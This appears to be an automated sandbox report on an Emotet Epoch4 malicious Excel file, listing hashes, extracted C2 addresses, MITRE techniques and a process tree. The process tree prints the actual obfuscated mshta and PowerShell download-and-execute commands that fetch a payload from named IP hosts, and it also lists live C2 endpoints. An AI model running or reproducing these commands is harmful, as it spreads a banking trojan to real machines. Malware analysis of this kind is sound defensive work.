emotet | b1ee7aa00b7884ed02a3f5ddc07419b6e8dd6e7382269d8cc5511f06431d5eaf

General

Target

b1ee7aa00b7884ed02a3f5ddc07419b6e8dd6e7382269d8cc5511f06431d5eaf.xls
Size

141KB
MD5

c2ce0e5d4d7eb7b429e77e7bbdf09801
SHA1

71b41e18f5596cf7a8fcfee18679f84d536fe822
SHA256

b1ee7aa00b7884ed02a3f5ddc07419b6e8dd6e7382269d8cc5511f06431d5eaf
SHA512

3dde19316fc7d34b19295eac07f71a99769fa8d4f9a8008a6b7c51fd4c0bd4dc73c5a813a6fc4a1b877a94a8157e09ef5b7e75eb64f46f723a70a20e7a990767

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2248	3196	cmd.exe	67

Blocklisted process makes network request 6 IoCs

flow	pid	Process
35	1784	mshta.exe
39	2044	powershell.exe
41	2044	powershell.exe
45	2044	powershell.exe
50	1764	rundll32.exe
53	1764	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
1788	rundll32.exe
672	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Etgibzw\zqtlqkdpvfh.krp	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1592	1784	WerFault.exe	75

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3196	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
2044	powershell.exe
2044	powershell.exe
1592	WerFault.exe
1592	WerFault.exe
1592	WerFault.exe
1592	WerFault.exe
1592	WerFault.exe
1592	WerFault.exe
1592	WerFault.exe
1592	WerFault.exe
1592	WerFault.exe
1592	WerFault.exe
1592	WerFault.exe
1592	WerFault.exe
1592	WerFault.exe
1592	WerFault.exe
2044	powershell.exe
1764	rundll32.exe
1764	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2044	powershell.exe
Token: SeDebugPrivilege	1592	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3196	EXCEL.EXE
3196	EXCEL.EXE
3196	EXCEL.EXE
3196	EXCEL.EXE
3196	EXCEL.EXE
3196	EXCEL.EXE
3196	EXCEL.EXE
3196	EXCEL.EXE
3196	EXCEL.EXE
3196	EXCEL.EXE
3196	EXCEL.EXE
3196	EXCEL.EXE
3196	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 3196 wrote to memory of 3888	3196	EXCEL.EXE	72
PID 3196 wrote to memory of 3888	3196	EXCEL.EXE	72
PID 3196 wrote to memory of 2248	3196	EXCEL.EXE	73
PID 3196 wrote to memory of 2248	3196	EXCEL.EXE	73
PID 2248 wrote to memory of 1784	2248	cmd.exe	75
PID 2248 wrote to memory of 1784	2248	cmd.exe	75
PID 1784 wrote to memory of 2044	1784	mshta.exe	77
PID 1784 wrote to memory of 2044	1784	mshta.exe	77
PID 2044 wrote to memory of 2440	2044	powershell.exe	80
PID 2044 wrote to memory of 2440	2044	powershell.exe	80
PID 2440 wrote to memory of 1788	2440	cmd.exe	81
PID 2440 wrote to memory of 1788	2440	cmd.exe	81
PID 2440 wrote to memory of 1788	2440	cmd.exe	81
PID 1788 wrote to memory of 672	1788	rundll32.exe	82
PID 1788 wrote to memory of 672	1788	rundll32.exe	82
PID 1788 wrote to memory of 672	1788	rundll32.exe	82
PID 672 wrote to memory of 1844	672	rundll32.exe	85
PID 672 wrote to memory of 1844	672	rundll32.exe	85
PID 672 wrote to memory of 1844	672	rundll32.exe	85
PID 1844 wrote to memory of 1764	1844	rundll32.exe	86
PID 1844 wrote to memory of 1764	1844	rundll32.exe	86
PID 1844 wrote to memory of 1764	1844	rundll32.exe	86

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b1ee7aa00b7884ed02a3f5ddc07419b6e8dd6e7382269d8cc5511f06431d5eaf.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3196
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3888
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2248
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:1784
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2044
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2440
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1788
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:672
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Etgibzw\zqtlqkdpvfh.krp",TCqdviDREoFVeui
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1844
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Etgibzw\zqtlqkdpvfh.krp",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1764
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1784 -s 1648
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1592

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/672-907-0x0000000005410000-0x0000000005436000-memory.dmp

Filesize
152KB

Download
memory/672-903-0x00000000053B0000-0x00000000053D6000-memory.dmp

Filesize
152KB

Download
memory/672-893-0x0000000005250000-0x0000000005276000-memory.dmp

Filesize
152KB

Download
memory/672-891-0x00000000051F0000-0x0000000005216000-memory.dmp

Filesize
152KB

Download
memory/672-889-0x0000000005110000-0x0000000005136000-memory.dmp

Filesize
152KB

Download
memory/672-884-0x0000000004A10000-0x0000000004A36000-memory.dmp

Filesize
152KB

Download
memory/1764-914-0x0000000005670000-0x0000000005696000-memory.dmp

Filesize
152KB

Download
memory/1764-916-0x0000000005750000-0x0000000005776000-memory.dmp

Filesize
152KB

Download
memory/1764-931-0x0000000005C70000-0x0000000005C96000-memory.dmp

Filesize
152KB

Download
memory/1764-929-0x0000000005C10000-0x0000000005C36000-memory.dmp

Filesize
152KB

Download
memory/1764-925-0x0000000005B10000-0x0000000005B36000-memory.dmp

Filesize
152KB

Download
memory/1764-922-0x0000000005920000-0x0000000005946000-memory.dmp

Filesize
152KB

Download
memory/1764-918-0x0000000005830000-0x0000000005856000-memory.dmp

Filesize
152KB

Download
memory/1788-881-0x0000000004EA0000-0x0000000004EC6000-memory.dmp

Filesize
152KB

Download
memory/1844-904-0x0000000000C90000-0x0000000000CB6000-memory.dmp

Filesize
152KB

Download
memory/2044-554-0x00000236B62D0000-0x00000236B62F2000-memory.dmp

Filesize
136KB

Download
memory/2044-615-0x00000236CEFA0000-0x00000236CF016000-memory.dmp

Filesize
472KB

Download
memory/2044-747-0x00000236B67E0000-0x00000236CE970000-memory.dmp

Filesize
385.6MB

Download
memory/2044-794-0x00000236B67E0000-0x00000236CE970000-memory.dmp

Filesize
385.6MB

Download
memory/2044-581-0x00000236CE8E0000-0x00000236CE91C000-memory.dmp

Filesize
240KB

Download
memory/2044-682-0x00000236B67E0000-0x00000236CE970000-memory.dmp

Filesize
385.6MB

Download
memory/3196-116-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp

Filesize
64KB

Download
memory/3196-115-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp

Filesize
64KB

Download
memory/3196-118-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp

Filesize
64KB

Download
memory/3196-121-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp

Filesize
64KB

Download
memory/3196-129-0x00007FFD5B930000-0x00007FFD5B940000-memory.dmp

Filesize
64KB

Download
memory/3196-117-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp

Filesize
64KB

Download
memory/3196-128-0x00007FFD5B930000-0x00007FFD5B940000-memory.dmp

Filesize
64KB

Download
memory/3196-939-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp

Filesize
64KB

Download
memory/3196-940-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp

Filesize
64KB

Download
memory/3196-941-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp

Filesize
64KB

Download
memory/3196-942-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads